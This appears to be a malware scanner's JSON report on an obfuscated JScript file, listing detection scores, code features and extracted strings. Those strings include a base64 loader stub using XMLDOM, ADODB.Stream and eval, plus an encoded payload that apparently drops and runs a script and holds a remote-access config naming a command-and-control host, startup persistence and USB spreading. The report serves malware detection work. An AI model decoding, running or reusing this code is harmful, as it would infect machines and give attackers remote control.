{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 0.9984939694404602
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.8911782,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.9736842,
        "class": 0
      },
      {
        "m": "az/javascript",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 0.99849397,
    "analyzed_at": "2026-05-31T15:18:39Z"
  },
  "path": "3b57e458a0b086f6d372c9784422f0fb15633519c8adbe32213d0eba88259dcd.js",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O₂(As₃Xe)",
        "x": 40,
        "ff": {
          "i": [
            [
              "",
              "superString"
            ],
            [
              "",
              "xmlDOM"
            ],
            [
              "",
              "WSH.CreateObject.createElement"
            ],
            [
              "",
              "WSH.CreateObject"
            ],
            [
              "",
              "xmlDOM.dataType"
            ],
            [
              "",
              "xmlDOM.text"
            ],
            [
              "",
              "superString.replace"
            ],
            [
              "",
              "comObject"
            ],
            [
              "",
              "WSH.CreateObject"
            ],
            [
              "",
              "comObject.Type"
            ],
            [
              "",
              "comObject.Open"
            ],
            [
              "",
              "comObject.Write"
            ],
            [
              "",
              "comObject.Position"
            ],
            [
              "",
              "comObject.Type"
            ],
            [
              "",
              "comObject.CharSet"
            ],
            [
              "",
              "eval"
            ],
            [
              "",
              "comObject.ReadText"
            ]
          ],
          "m": {
            "ast": {
              "max_depth": 8.0,
              "bind_count": 9.0,
              "call_count": 8.0,
              "node_count": 210.0,
              "member_count": 12.0,
              "identifier_count": 17.0,
              "member_depth_max": 3.0,
              "string_literal_count": 7.0
            },
            "file": {
              "size": 38027.0,
              "entropy": 5.76,
              "size_bytes": 38027.0
            },
            "text": {
              "digit_ratio": 0.12,
              "space_count": 8.0,
              "total_lines": 3.0,
              "char_entropy": 5.76,
              "unique_chars": 77.0,
              "escape_density": 0.13,
              "lines_over_200": 1.0,
              "lines_over_500": 1.0,
              "string_density": 2.33,
              "avg_line_length": 12674.33,
              "lines_over_1000": 1.0,
              "max_line_length": 37642.0,
              "hex_escape_count": 49.0,
              "last_line_length": 194.0,
              "long_token_count": 1.0,
              "whitespace_ratio": 0.0,
              "most_common_ratio": 0.04,
              "identifier_density": 10.33,
              "line_length_stddev": 17654.81,
              "normalized_string_count": 4.04,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "most_common_char_codepoint": 86.0,
              "normalized_unique_identifiers": 10.73
            },
            "binds": {
              "count": 9.0
            },
            "calls": {
              "count": 8.0
            },
            "members": {
              "count": 12.0
            },
            "strings": {
              "total": 7.0,
              "avg_length": 5385.43,
              "max_length": 37501.0,
              "avg_entropy": 2.83,
              "total_bytes": 37698.0,
              "entropy_stddev": 1.54,
              "very_long_strings": 1.0,
              "high_entropy_count": 1.0,
              "unicode_heavy_strings": 4.0
            },
            "identifiers": {
              "count": 17.0,
              "total": 31.0,
              "avg_length": 7.47,
              "max_length": 14.0,
              "min_length": 3.0,
              "avg_entropy": 2.52,
              "reuse_ratio": 0.55,
              "unique_count": 17.0,
              "length_stddev": 3.31,
              "all_lowercase_ratio": 0.18,
              "all_uppercase_ratio": 0.06
            }
          },
          "s": [
            [
              37544,
              "u8",
              "\\x6D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x78\\x6D\\x6C\\x64\\x6F\\x6D"
            ],
            [
              37626,
              "u8",
              "\\x6D\\x6B\\x6F"
            ],
            [
              37661,
              "u8",
              "\\x62\\x69\\x6E\\x2E\\x62\\x61\\x73\\x65\\x36\\x34"
            ],
            [
              37743,
              "u8",
              "A"
            ],
            [
              37744,
              "u8",
              "A"
            ],
            [
              37779,
              "u8",
              "\\x61\\x64\\x6F\\x64\\x62\\x2E\\x73\\x74\\x72\\x65\\x61\\x6D"
            ],
            [
              37849,
              "10",
              "1"
            ],
            [
              37927,
              "10",
              "0"
            ],
            [
              37945,
              "10",
              "2"
            ],
            [
              37966,
              "u8",
              "\\x75\\x73\\x2D\\x61\\x73\\x63\\x69\\x69"
            ],
            [
              0,
              "unicode-escape",
              "var superString=\"dHJ5ewp2YXIgbG9uZ1RleHQxID0gImRtRnlJSE4xY0dWeVUzUnlhVzVuUFNKTWVUaG5VVEk1YTFwWFVXZFpibXRuWkd3NVEwMUVSV2RtUTBKVVl"
            ],
            [
              37644,
              "unicode-escape",
              "xmlDOM.dataType= \"bin.base64\",xmlDOM.text= superString.replace(/@\u003c/g,\"A\");var comObject=WSH.CreateObject(\"adodb.stream\");"
            ],
            [
              37833,
              "unicode-escape",
              "comObject.Type= 1,comObject.Open(),comObject.Write(xmlDOM.nodeTypedValue),comObject.Position= 0,comObject.Type= 2,comObject.Char"
            ]
          ],
          "v": {
            "file.stem": "3b57e458a0b086f6d372c9784422f0fb15633519c8adbe32213d0eba88259dcd",
            "file.basename": "3b57e458a0b086f6d372c9784422f0fb15633519c8adbe32213d0eba88259dcd.js",
            "source.language": "javascript",
            "source.imports[0]": "WSH.CreateObject",
            "source.imports[1]": "WSH.CreateObject.createElement",
            "source.imports[2]": "comObject",
            "source.imports[3]": "comObject.CharSet",
            "source.imports[4]": "comObject.Open",
            "source.imports[5]": "comObject.Position",
            "source.imports[6]": "comObject.ReadText",
            "source.imports[7]": "comObject.Type",
            "source.imports[8]": "comObject.Write",
            "source.imports[9]": "eval",
            "source.strings[0]": "\\x61\\x64\\x6F\\x64\\x62\\x2E\\x73\\x74\\x72\\x65\\x61\\x6D",
            "source.strings[1]": "\\x62\\x69\\x6E\\x2E\\x62\\x61\\x73\\x65\\x36\\x34",
            "source.strings[2]": "\\x6D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x78\\x6D\\x6C\\x64\\x6F\\x6D",
            "source.strings[3]": "\\x6D\\x6B\\x6F",
            "source.strings[4]": "\\x75\\x73\\x2D\\x61\\x73\\x63\\x69\\x69",
            "source.strings[5]": "comObject.Type= 1,comObject.Open(),comObject.Write(xmlDOM.nodeTypedValue),comObject.Position= 0,comObject.Type= 2,comObject.CharSet= \"us-ascii\",eval(comObject.ReadText())",
            "source.strings[6]": "var superString=\"dHJ5ewp2YXIgbG9uZ1RleHQxID0gImRtRnlJSE4xY0dWeVUzUnlhVzVuUFNKTWVUaG5VVEk1YTFwWFVXZFpibXRuWkd3NVEwMUVSV2RtUTBKVVlrZHNiR0pYVm5sYVdHOW5URlEwWjFaSVpIQmtTRkpzWTJsQVBEWkpSazV6WVZkV2RGcFlTbXhsWnpCTFJGRndNbGxZU1dkaGFVQThPVWxHYzJsV01VNXFZMjFzZDJSRE5WUmhSMVp6WWtOSmMwbHNUbXBqYld4M1pFZHNkVn@\u003c1TlVkaFYzaHNWVE5zZW1SSFZuUlVNa3B4V2xkT01FbHBkMmxWTW1oc1lrZDNkVkZZUW5kaVIyeHFXVmhTY0dJeU5HbE1RMHBPWVZkT2VXSXpUblphYmxGMVYwVXhUVk5HVWxWVlEwcGtUM2N3UzJSdFJubEpSMk5uVUZOQ1lrbHJhRXhSTVZWcFRFTktTVk13ZUU1SmFYZHBVMFYwUkZaV2VHTmtiWEF6VFVoS2RFbHBkMmxZUm5oVVlqSmFNR1F5Um5sYVZuaGpWRmRzYW1OdE9YcGlNbG93V0VaNFdHRlhOV3RpTTJSNldFWjRSR1JZU25sYVZ6VXdWbTFXZVdNeWJIWmliSGhqVlc1V2RWaEdkMmxNUTBwSlV6QjRUbGhHZUZSVU1GcFZWakJHVTFKV2VHTlJNbmhvWXpOT2JHTXhlR05KYVhkcFZXdFdTRmd4VG1GSmFYZHBXRVo0YTFwWFdtaGtWM2d3WVZkT2RtSnNlR05KYkRBM1JGRndNbGxZU1dkbFUwQThPVWxHYzJsa01teDFZbGRrZEdSSVRUWkphWGRwWkRKc2RVMTZTbVppUnpsdVlWZE9hR0pIVW5Cak1uTnBURU5LV0dGWE5IcE5iRGxRWTBkV2VWbFlVbkJpYldSVVpWaE9NRnBYTUdsTVEyUkNZbTVTY0ZadGJIbGtXRTVSWTIwNWEyUlhUakJLTVRBM1JGRnZUa051V21oamFVSjZZVU5BUERsSlJVNTVTMFJBUEhCUGR6QkxaRzFHZVVsSFducEpSREJuVVROSmIwMVRhemRFVVhBeVdWaEpaMk16UW5OSlJEQm5TVzU0VjJaRFNUZEVVWEF5V1ZoSloxRXlaMmRRVTBBOGFWaEdkMmxQZHpCTFpHMUdlVWxHV2s5SlJEQm5TV3ByZGsxcVJXbEpRM05uU1d3NGFVbERjMmRVTWtsdlRtbHJOMFJSY0RKWldFbG5XbTVWWjFCVFFsaFZNazU1WVZoQ01FeHNUbXBqYld4M1pFVmFNV0pIZUU5WlZ6RnNUM2N3UzJSdFJubEpTR1IxU1VRd1oxWXhUbXBqYld4M1pFTTFWRmt6U25CalNGSlBXVmN4YkU5M01FdGtiVVo1U1VaVk4wUlJjREJqYm10blpYY3dTMVpUUUR3NVNVaE9iMHhzU214YU1VcHNXVmRSYjFveGMzbFlVMnMzUkZGd09VbEhUbWhrUj@\u003c1dlMwZFdlV05wYTJkbGR6QkxaRzFHZVVsSVRqSkpSREJuV201VmRXTXpRbk5oV0ZGdlNXeDRZMGxwYXpkRVVYQndXbWxBUEc5SmFuQmpXRU5KWjB0NVFucGtiSE40V0ZOQVBEbFFVMEE4YVU5c2VHTkphVUE4Y2tsSVpIVkxVMEkzUkZGd1ZrbEVNR2RKYkZKVFZsVlZhVTkzTUV0ak1tZDFWVzFXYmxZelNuQmtSMVZ2V2pGemVWaFRlRlpNUjJSaVRsWXdjRTkzTUV0bVUwSnNZa2hPYkVsSWMwNURiRlZuVUZOQVBHbFNhMFpOVlRCVmFVOTNNRXRqTW1kMVZXMVdibFl6U25Ca1IxVnZXakZ6ZVZoVGVGWk1SMlJpVGxZd2NFOTNNRXRtVVRCTFpsRXdTMVJ1VFc5TFZITk9RMjFTZGtsSWMwNURibEo1WlZOQ04wUlJjREpaV0VsblZVTkFQRGxKUmtJd1MwTmtWMk50Vlc1TVEyTnVTMVJ6VGtOc1FEeG5VRk5DVVV4dVRuZGlSMnd3UzBoT2QySkRhemRFVVc5T1EyMXNiVWxEYUZGWGVrSmtTVVF3T1ZCVFFEeHBVVEozYVV0VFFqZEVVWEJZVlRKT2VXRllRakJNYkVZeFlWaFJiMDFUYXpkRVVYQTVSRkZ2VGtOdGJHMUpRMmhSVjNwQ1pFbEVNRGxRVTBBOGFWVXlUV2xMVTBJM1JGRndNbGxZU1dkamVrbG5VRk5DUm1WRFoybGtSMVowWTBOSmNFbERjMmRKYkhoalNXbEFQSEpKUmtKaVRXd3dOMFJSY0RKWldFbG5XbTFyWjFCVFFtMWplVFZFWTIxV2FHUkhWbFZhV0dnd1VtMXNjMXBUYUhwTmFYZ3dZMjVXYkV0VWMwNURiVnB3VEd4a2VXRllVbXhMUmtKaVRWWXdjRTkzTUV0YWJXdDFVVEo0ZG1NeVZXOUxWSE5PUTI1T2IweHVTakZpYVdoNlRXbHJOMFJSY0RsRVVXOU9RMjFzYlVsRGFGRlhla0prU1VRd09WQlRRRHhwVWxobmFVdFRRamRFVVhCc1pHMUdjMHRHUW1KTlZqQndUM2N3UzJaUk1FdEVVWEJ3V21sQVBHOVZSbk4zV0ZOQVBEbFFWREJuU1d4S2RVbHBhMmRsZHpCTFpHMUdlVWxJU25CSlJEQm5XbTVOZFZRelFteGliRkpzWlVoU1IyRlhlR3hMUjFveFRFUkZjRTkzTUV0a2JVWjVTVWRhZVVsRU1HZGpiV3QxVlcxV2FGcEZSbk5pUTJkd1QzY3dTMk50YTNWUk1uaDJZekpWYjB0VWMwNURiRnBQU1VRd1oxWnJOSFZqTTBKellWaFJiMGxzT0dsTFZITk9RMjFhZVVsRU1HZGFia2wxWTIxV2QySkhSbXBhVTJoWFZHeHpkMWhUZUZGWGVrWmtTMVJ6VGtOdVdtaGphVUl6WVZOQVBEbEpSMX@\u003c2VEdzNWQxcFhOVlZhV0dnd1VtMXNjMXBUYUcxa1UzZDVURWRhYUdKSVRteExWSE5PUTI1a2NFeHNaSGxoV0ZKc1MwZGFlVXRVYz@\u003c1RGJtUndUR3RPYzJJelRteExRMnMzUkZGd2VtRkROWGxrVnpSdlNXNWtlbGt6U25CalNGRjFXbGhvYkVsRE9IWlJhVUpqU1dsSlowdDVRbTFrVTBBOGNrbERTbU5KYVVsd1QzY3dTMVl4VG1wamJXeDNaRU0xVW1SWGJEQkxSRVZ3VDNjd1MyWlJNRXRFVVhCd1dtbEFQRzlWUm5OM1dGTkFQRGxRVkRCblNXeFdkMGxwYTJkbGR6QkxaRzFHZVVsSVRYbEpSREJuVWxobmIwbHVVbXhpV0VBOGFVdFRRRHh5U1VOS1kxaERTV2RMZVVKUlYzcEtaRTkzTUV0a2JVWjVTVWRPTUZwcFFEdzVTVWRhZWt4clRubGFWMFl3V2xaU2JHVklVa2RoVjNoc1MwaE5lVXhJVW5sa1YxVndUM2N3UzJSdFJubEpSMlF4U1VRd1oxVkdjM2hZVkhOT1EyMWtNVWxFTUdkYU0xVjFZMjFXZDJKSFJtcGFVMmRwWmtaV09FbHBkMmxtUmxvNFNXbHJOMFJSY0dwa1IxbDFWak5LY0dSSFZXOWFNMVZ3VDNjd1Mxa3pVbTFNYT@\u003c1ellqTk9iRXREYXpkRVVYQjZZVU0xZVdSWE5HOUpibVI2V1ROS2NHTklVWFZhV0doc1NVTTRkbEZwUW1OSmFVbG5TM2xDZWsxcFFEeHlTVU5LWTBscFNYTk9hV3MzUkZGd1dGVXlUbmxoV0VJd1RHeEdNV0ZZVVc5TlUyczNSRkZ3T1VSUmIwNURiV3h0U1VOb1VWZDZRbVJKUkRBNVVGTkFQR2xXVnpScFMxTkNOMFJSY0RKWldFbG5ZM3BKWjFCVFFsRlhla1prVDNjd1MyUnRSbmxKU0ZwclkybEFQRGxKUjFveFQzY3dTMlJ0Um5sSlNFcHNXakpyWjFCVFFEeHBWRz@\u003c1TUdGSGJIVmFlVVZwVDNjd1MyTjZTV2RRVTBKNlRXazFlVnBZUW5OWlYwNXNTME5KYkZwcFNYTmFibFZ3VEc1S2JHTkhlR2haTWxWdlNXbFdkVWxwZUROaWFXdDFZMjFXZDJKSFJtcGFVMmRwU2xoT2JWcElTV2xNU0ZwclkybHJkV050Vm5kaVIwWnFXbE5uYVVwV1NtNVViVlZzU1dsNGVWcFhaSEJMVkhOT1EyMVdNbGxYZDI5amVrbHdUM2N3UzFZeFRtcGpiV3gzWkVNMVVtUlhiREJMUkVWd1QzY3dTMlpSTUV0RVVYQndXbWxBUEc5VlJuTjNXRk5BUERsUVZEQm5TV3hLUjBscGEyZGxkekJMWkcxR2VVbElUWGxKUkRCblVsaG5iMGx1VW14aVdFQThhVXRUUUR4eVNVTktZMWhEU1dkTGVVSlJWM3BLWkU5M01FdGtiVVo1U1VkYWNFbEVNR2RhYmsxMVVUTktiRmxZVW14V1IxWTBaRVZhY0dKSFZXOWpla2x6WkVoS01WcFRhemRFVVhCdFlWTTFXR050YkRCYVUyaFJWM3BHWkV0VWMwNURiVnB3VEd0T2MySXpUbXhMUTJzM1JGRndlbUZETlhsa1Z6UnZZM3BKY0U5M01FdG1VVEJMWmxOQ2FsbFlVbXBoUTJoc1kyNUpjRWxJYz@\u003c1RGJqQk9RMnhrVkZrelNuQmpTRkYxVlRKNGJGcFlRRHh2VG5wQVBIZE5RMnMzUkZGdlRrTnVNR2RrTW1od1lrZFZaMHRJVW5sa1YxVndTVVJ6VGtObk1FdEVVWEJ0WkZjMWFtUkhiSFppYVVKR1pVTm9WRXRUUWpkRVVYQjVXbGhTTVdOdE5HZGpNbWQxVWxob2QxbFhOV3RTVnpVeVlWaEtkbUp0TVd4aWJsSlVaRWhLY0dKdFpIcExRMGxzU1dsQVBISkpSazFuUzNsQVBHbEtVMGx3VDNjd1MyWlJNRXRhYmxaMVdUTlNjR0l5TkdkVlNGRnZVWGw0UWt0VFFqZEVVWEF5V1ZoSloxZERRRHc1U1VWT2VVdEVUWEJQZHpCTFYwTTFkbU5IVm5WTFEyUlJWREZPVlVwNWQyNWhTRkl3WTBSdmRrd3ljR2hrYlVab1pGaFNkbU51Vm5WTWJWSXhZVmRGZFdOdE9EWk9WRkV5VGxNNGJrbERjMmRSZVhkbldtMUdjMk15VlhCUGR6QkxWME0xVkZwWVVsTmFXRVl4V2xoT01GTkhWbWhhUjFaNVMwTktWbU15Vm5sTVZVWnVXbGMxTUU5cFNYTmliVmx2UzFOck4wUlJjRmxNYms1c1ltMVJiMUZUYXpkRVVYQjVXbGhTTVdOdE5HZFhRelY1V2xoT2QySXlOWHBhV0ZKc1pVaFJOMFJSY0RsRVVXOU9RMmN3UzFwdVZuVlpNMUp3WWpJMFoySnRXVzlMVTBJM1JGRndNbGxZU1dkamVYaFBWa040Y0U5M01FdGhWMWxuUzBkYWVreHRXbkJpUjFac1pVZHNlbVJJVFc5U1dHZHZTV3hrY0dKdFVuQmphVWx3U1VOelowbHNlR05VVjJ4cVkyMDVlbUl5V2pCTWF6VkdWa1o0WTFKdVNtaGlWMVl6WWpOS2NsaEdlREpOYVRSM1RHcFZkMDU2U1ROWVJuZ3lXVzFOZFZwWWFHeEphV3R3U1VoelRrTnJOVlZKUkRCcFYxVldWRWxxYz@\u003c1RGJqQm5XbGQ0ZWxwVFFqZEVVWEJQVmtOQVBEbEpRMHBQVkhsSk4wUlJjRGxFVVhCNlNVUXdaMVpyTkdkTGVVSkVZVU5BUEhKSlJWWTBTME5LUkZRd01WRldWbEpHVldzMVFsUlZWV2xMVTBBOGNrbEZUbTlKUTNOblVsaG5iMGxzVmxSU1ZrcFBVVlV4UmtscGEyZExlVUpFWVVOQVBISkpSVGxwUzBSSmNFbERjMmRSTW1kblMzbENVRmxwWnpCTFUwQThja2xGVG05SlEzTm5VVEpuWjB0NVFrOVdRMEE4Y2tsRlRtOUpRM05uVmxOQVBISkpSVTV2VDNjd1MyTnRWakJrV0VwMVNVaE5OMFJSY0RsRVVXOU9RMjFhTVdKdFRqQmhWemwxU1VWT2VVdEZOSEJKU0hOT1EyZHNlVnBZVWpGamJUUm5ZbTFXTTBsRlJtcGtSMnd5V2xab1VGbHRjR3haTTFGdllXeDBUMWhUYXpkRVVYQTVSRkZ2VGtOdFdqRmliVTR3WVZjNWRVbEZPV2xMUlRSd1NVaHpUa051V21oamFVSjZUM2N3UzJGWFdXZExSVFJuVUZRd1owMXBhMmRsZHpCTFkzbEFQRGxKUldSc1pFVTVhV0Z0Vm1wa1EyZzFWM3BDWkV0VE5VcGliazR3V1ZjMWFscFlUbEJhYVdnMVYzcEtaRXRVYz@\u003c1RGJscG9ZMmxDYkdKcFFEdzVTVWMxYkdSNVFrWmlibFowV2xoS2FHUkhPWGxMU0Uxd1QzY3dTMXB0T1hsSlEyYzNTVU5HYkdKcE5XaGtSVloxV2tObmNFOHlWblZNYlRGMlpHMVdUMXBZYURCTFEydHdTVWh6VGtOdVdtaGphVUp3WkVOQVBEbEpSMVoxVEcxc01GcFhNRzlMVkhOT1EyNUtiR1JJVm5saWFVSndaRU0xUkZsWVFqQmhWemwxVDNjd1MxbHVTbXhaVjNNM1JGRndPVVJSY0RsRVVYQndXbWxBUEc5VWFVQThPVkJUUUR3d1MxTkNOMFJSY0RKWldFbG5aREl4YmtsRU1HZEpibVJ3WW0weGJtSllVbnBQYkhoaldFWjRjMkl5VG1oaVIyaDJZek5TWTFoSVNuWmlNMUpqV0VoT2JGa3pWbmxoV0ZJMVdUSldkV1JIVm5sSmFuTk9RMjVOWjFCVFFraGFXRkpRV1cxd2JGa3pVVzlrTWpGdVMxTTFTbUp1VGpCWlZ6VnFXbGhPVUZwcGFEVlhlazVrUzFSelRrTnVXbWhqYVVKc1ltbEFQRGxKUnpWc1pIbENSbUp1Vm5SYVdFcG9aRWM1ZVV0SVRYQlBkekJMV20wNWVVbERaemRKUTBac1ltazFhR1JGVm5WYVEyZHdUekpXZFV4dE1YWmtiVlpQV2xob01FdERhM0JKU0hOT1EyNWFhR05wUW5Ca1EwQThPVWxIVm5WTWJXd3dXbGN3YjB0VWMwNURibHBvWTJsQ2VtUklTV2RRVTBKd1pFTTFSV0ZZVG5kaVIwWTFWRzFHZEZwVWMwNURiakJPUTIxc2JVbERhSHBrU0VsblNWUXdPVWxEWTI1TFUwSTNSRkZ3TTJKWFkyZFFVMEl6WWxkalowdDVRRHhwVFdsSk4wUlJjSHBKUkRCblVqSldNRlF5U25GYVYwNHdTMGhrZEZwNWEzVlRWelY2WkVkR2RWa3lWbnBVTWxsdlpWWnplbGhUYXpkRVVYQnNZbWxBUERsSlJ6VnNaSGxDUm1KdVZuUmFXRXBvWkVjNWVVdElUWEJQZHpCTFdtMDVlVWxEWnpkSlEwWnNZbWsxYUdSRlZuVmFRMmR3VHpKV2RVeHRNWFprYlZaUFdsaG9NRXREYTNCSlNITk9RMjFzTUVsRU1HZGFWelIxWVZoU2JHSlRaM0JQZHpCTFkyMVdNR1JZU25WSlIyd3dUR3RTY0dNelFuTlpXR3hQV1ZjeGJFOTNNRXRtVVRCTFpsTkNiR0pJVG14SlNITk9RMjVLYkdSSVZubGlhVUp3WkVNMVJXRllUbmRpUjBZMVZHMUdkRnBVYz@\u003c1RGJqQk9RMjR3VGtOdGJHMUpRMmhQVUZRd01rdFRRamRFVVhCNlNVUXdaMUl5VmpCVU1rcHhXbGRPTUV0SWJHSk5SakJ3VEd0c2RXTXpVbWhpYlU1c1l6QTViVXRJYkdKTlZqQndUM2N3UzJSdFJubEpSMVoxU1VRd1oySnRWak5KUlZaMVpGY3hiR050UmpCaU0wbHZZM2xyTjBSUmNHMWlNMGxuUzBSelowbFhWblZNYlVZd1VsYzFhMHREYXpkYVZ6UjFZbGM1TWxwVk5XeGxTRkZ2UzFOcloyVjNNRXRrYlVaNVNVZHNNRWxFTUdkYVZ6UjFZVmhTYkdKVFozQlBkekJMWTIxV01HUllTblZKUjJ3d1RHNWFkbUpJVm5SYVdFNXNZMjFzYUdKSE5URmlWMHBzWTJwelRrTnRTbmxhVjBaeVQzY3dTMlpSTUV0bVVUQkxabEV3UzBSUmNHMWtWelZxWkVkc2RtSnBRazlqZVdkd1NVaHpUa05uYT@\u003c1RFoydE9RMmRyVGtObmJEQmpibXRuWlhjd1MwTlJiREpaV0VsbldWaEFQR2RRVTBKRVkybG5lVXRVYz@\u003c1RFoydEtXbTVOZFZFeU9YZGxWVnB3WWtkVmIxcHVWWE5KUjBaM1RHczFhR0pYVmxSalIwWnFXbE5uTTB0VE5WUmFWM2h0VEd4Q2FHUkhaMmRMZVVBOGFWaEdkMmxKUTNOblpESTBjMlJJU2pGYVUyczNSRkZ2U21aVFFtcFpXRkpxWVVOb2JHTnVTWEJKU0hOT1EyZHNPVVJSY0RsRVVXOU9RMmN3U3lJc2VHMXNSRTlOUFZkVFNDNURjbVZoZEdWUFltcGxZM1FvSWx4NE5rUmNlRFk1WEhnMk0xeDROekpjZURaR1hIZzNNMXg0TmtaY2VEWTJYSGczTkZ4NE1rVmNlRGM0WEhnMlJGeDROa05jZURZMFhIZzJSbHg0TmtRaUtTNWpjbVZoZEdWRmJHVnRaVzUwS0NKY2VEWkVYSGcyUWx4NE5rWWlLVHNOQ25odGJFUlBUUzVrWVhSaFZIbHdaVDBnSWx4NE5qSmNlRFk1WEhnMlJWeDRNa1ZjZURZeVhIZzJNVng0TnpOY2VEWTFYSGd6Tmx4NE16UWlMSGh0YkVSUFRTNTBaWGgwUFNCemRYQmxjbE4wY21sdVp5NXlaWEJzWVdObEtDOUFQQzluTENKQklpazdkbUZ5SUdOdmJVOWlhbVZqZEQxWFUwZ3VRM0psWVhSbFQySnFaV04wS0NKY2VEWXhYSGcyTkZ4NE5rWmNlRFkwWEhnMk1seDRNa1ZjZURjelhIZzNORng0TnpKY2VEWTFYSGcyTVZ4NE5rUWlLVHNOQ21OdmJVOWlhbVZqZEM1VWVYQmxQU0F4TEdOdmJVOWlhbVZqZEM1UGNHVnVLQ2tzWTI5dFQySnFaV04wTGxkeWFYUmxLSGh0YkVSUFRTNXViMlJsVkhsd1pXUldZV3gxWlNrc1kyOXRUMkpxWldOMExsQnZjMmwwYVc5dVBTQXdMR052YlU5aWFtVmpkQzVVZVhCbFBTQXlMR052YlU5aWFtVmpkQzVEYUdGeVUyVjBQU0FpWEhnM05WeDROek5jZURKRVhIZzJNVng0TnpOY2VEWXpYSGcyT1Z4NE5qa2lMR1YyWVd3b1kyOXRUMkpxWldOMExsSmxZV1JVWlhoMEtDa3@\u003ciOwp2YXIgd3NoU2hlbGwxID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsKdmFyIGFwcGRhdGFkaXIxID0gd3NoU2hlbGwxLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiJWFwcGRhdGElIik7CnZhciBzdHVicGF0aDEgPSBhcHBkYXRhZGlyMS@\u003crICJcXGVVVElMRk5HRGguanMiOwp2YXIgZGVjb2RlZDEgPSBkZWNvZGVCYXNlNjQobG9uZ1RleHQxKTsKd3JpdGVCeXRlcyhzdHVicGF0aDEsIGRlY29kZWQxKTsKd3NoU2hlbGwxLnJ1bigid3NjcmlwdC@\u003cvL0IgXCIiICsgc3R1YnBhdGgxICsgIlwiIik7Cn1jYXRjaChlcil7fQpmdW5jdGlvbiB3cml0ZUJ5dGVzKGZpbGUsIGJ5dGVzKXsKdHJ5ewp2YXIgYmluYXJ5U3RyZWFtID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIkFET0RCLlN0cmVhbSIpOwpiaW5hcnlTdHJlYW0uVHlwZS@\u003c9IDE7CmJpbmFyeVN0cmVhbS5PcGVuKCk7CmJpbmFyeVN0cmVhbS5Xcml0ZShieXRlcyk7CmJpbmFyeVN0cmVhbS5TYXZlVG9GaWxlKGZpbGUsIDIpOwp9Y2F0Y2goZXJyKXsKfQp9CmZ1bmN0aW9uIGRlY29kZUJhc2U2NChiYXNlNjQpewp2YXIgRE0gPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpOwp2YXIgRUwgPSBETS5jcmVhdGVFbGVtZW50KCJ0bX@\u003ciKTsKRUwuZGF0YVR5cGUgPS@\u003ciYmluLmJhc2U2NCI7CkVMLnRleHQgPSBiYXNlNjQ7CnJldHVybiBFTC5ub2RlVHlwZWRWYWx1ZTsKfQp3c2hTaGVsbDEgPSBudWxsOw0KLy88WyByZWNvZGVyIDoga29nbml0by@\u003coYykgc2t5cGUgOiBsaXZlOnVua25vd24uc2FsZXM2NCBdPg0KLy89LT0tPS09LT0gY29uZmlnID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09DQp2YXIgaG9zdC@\u003c9ICI0MS4yMTYuMTgzLjIyMSI7DQp2YXIgcG9ydC@\u003c9IDc1NzU7DQp2YXIgaW5zdGFsbGRpci@\u003c9ICIlYXBwZGF0YSUiOw0KdmFyIGxua2ZpbGUgPSB0cnVlOw0KdmFyIGxua2ZvbGRlci@\u003c9IHRydWU7DQovLz0tPS09LT0tPSBwdWJsaWMgdmFyID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0NCnZhciBzaGVsbG9iai@\u003c9IFdTY3JpcHQuY3JlYXRlT2JqZWN0KCJ3c2NyaXB0LnNoZWxsIik7DQp2YXIgZmlsZXN5c3RlbW9iai@\u003c9IFdTY3JpcHQuY3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOw0KdmFyIGh0dHBvYmogPSBXU2NyaXB0LmNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dH@\u003ciKTsNCi8vPS09LT0tPS09IHByaXZhdCB2YXIgPS09LT0tPS09LT0tPS09LT0tPS09LT0NCnZhciBpbnN0YWxsbmFtZS@\u003c9IFdTY3JpcHQuc2NyaXB0TmFtZTsNCnZhciBzdGFydHVwID0gc2hlbGxvYmouc3BlY2lhbEZvbGRlcnMoInN0YXJ0dX@\u003ciKS@\u003crICJcXCI7DQppbnN0YWxsZGlyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKGluc3RhbGxkaXIpICsgIlxcIjsNCmlmKCFmaWxlc3lzdGVtb2JqLmZvbGRlckV4aXN0cyhpbnN0YWxsZGlyKSl7ICBpbnN0YWxsZGlyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIldGVtcCUiKS@\u003crICJcXCI7fQ0KdmFyIHNwbGl0ZXIgPS@\u003cifCI7DQp2YXIgc2xlZX@\u003cgPS@\u003c1MD@\u003cwOw0KdmFyIHJlc3BvbnNlLCBjbWQsIHBhcmFtLCBvbmVvbmNlOw0KdmFyIGluZi@\u003c9ICIiOw0KdmFyIHVzYnNwcmVhZGluZy@\u003c9ICIiOw0KdmFyIHN0YXJ0ZGF0ZS@\u003c9ICIiOw0KLy89LT0tPS09LT0gY29kZSBzdGFydC@\u003c9LT0tPS09LT0tPS09LT0tPS09LT0tPQ0KaW5zdGFuY2UoKTsNCndoaWxlKHRydWUpew0KdHJ5ew0KaW5zdGFsbCgpOw0KcmVzcG9uc2UgPS@\u003ciIjsNCnJlc3BvbnNlID0gcG9zdC@\u003coImlzLXJlYWR5IiwiIik7DQpjbWQgPSByZXNwb25zZS5zcGxpdChzcGxpdGVyKTsNCnN3aXRjaChjbWRbMF0pew0KY2FzZS@\u003ciZGlzY29ubmVjdCI6DQpXU2NyaXB0LnF1aXQoKTsNCmJyZWFrOw0KY2FzZS@\u003cicmVib290IjoNCnNoZWxsb2JqLnJ1